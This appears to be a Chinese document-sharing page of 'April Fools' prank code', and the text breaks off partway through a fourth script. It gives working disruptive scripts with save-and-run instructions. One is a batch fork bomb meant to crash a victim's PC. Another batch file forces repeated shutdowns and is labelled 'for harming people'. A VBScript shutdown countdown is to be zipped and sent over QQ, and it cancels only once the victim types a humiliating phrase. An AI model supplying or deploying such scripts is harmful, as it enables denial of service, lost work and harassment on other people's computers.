愚人节代码.docVIP

愚人节代码 篇一：愚人节捉弄人小程序 第一个:让别人内存OVER(逼他重启) @echo off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @echo off if not exist c:1.txt echo. gt;c:1.txt goto err1 if not exist c:2.txt echo. gt;c:2.txt goto err1 if not exist c:3.txt echo. gt;c:3.txt goto err1 if not exist c:4.txt echo. gt;c:4.txt goto err1 if not exist c:5.txt echo. gt;c:5.txt goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. gt;c:6.txt goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject(quot;wscript.shellquot;) WSHshellA.run quot;cmd.exe /c shutdown -r -t 60 -c quot;quot;说我是猪，不说我是猪就一分钟关你机，不信，试试···quot;quot;,0 ,true dim a do while(a lt;gt; quot;我是猪quot;) a = inputbox (quot;说我是猪,就不关机，快撒，说 quot;quot;我是猪quot;quot;,quot;说不说quot;,quot;不说quot;,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,quot;MsgBoxquot; loop msgbox chr(13) + chr(13) + chr(13) + quot;早说就行了嘛quot; dim WSHshell set WSHshell = wscript.createobject(quot;wscript.shellquot;) WSHshell.run quot;cmd.exe /c shutdown -aquot;,0 ,true msgbox chr(13) + chr(13) + chr(13) + quot;哈哈哈哈，一切皆有可能~quot; 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机， 结束任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人， 就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢? 第四个:让人崩溃的关机程序 首先你可以看下面的 WScript.Echo(quot;嘿，谢谢你打开我哦，我等你很久拉！quot;TSName) WScript.Echo(quot;你是可爱的XX童鞋吗?quot;) WScript.Echo(quot;哈,我想你拉，这你都不知道吗？quot;) WScript.Echo(quot;怎么才来，说~是不是不关心我quot;) WScript.Echo(quot;哼,我生气拉，等你这么久，心都凉啦。quot;) WScript.Echo(quot;夜黑很生气，后果很严重哦。quot;) WScript.Echo(quot;嘿嘿！你也会很惨滴哦quot